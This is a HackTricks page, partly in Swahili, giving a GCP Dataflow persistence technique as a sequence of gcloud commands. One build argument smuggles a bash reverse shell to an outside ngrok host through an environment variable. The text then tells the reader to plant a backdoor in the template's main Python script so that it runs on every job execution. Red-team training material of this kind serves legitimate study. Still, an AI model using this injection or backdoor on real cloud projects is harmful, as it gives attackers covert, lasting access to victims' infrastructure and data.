GCP - Dataflow Persistence

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Dataflow

Uendelevu usioonekana katika kontena lililojengwa

Following the tutorial from the documentation you can create a new (e.g. python) flex template:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Wakati inajengwa, utapata shell ya kurudi (unaweza kutumia mabadiliko ya mazingira kama katika mfano wa awali au vigezo vingine vinavyoweka faili la Docker kutekeleza mambo yasiyo ya kawaida). Wakati huu, ndani ya shell ya kurudi, inawezekana kuenda kwenye saraka ya /template na kubadilisha msimbo wa skripti kuu ya python ambayo itatekelezwa (katika mfano wetu hii ni getting_started.py). Weka mlango wako wa nyuma hapa ili kila wakati kazi inatekelezwa, itatekeleza hiyo.

Kisha, wakati kazi inatekelezwa tena, kontena lililoathiriwa litajengwa na litakimbia:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the mpango ya usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.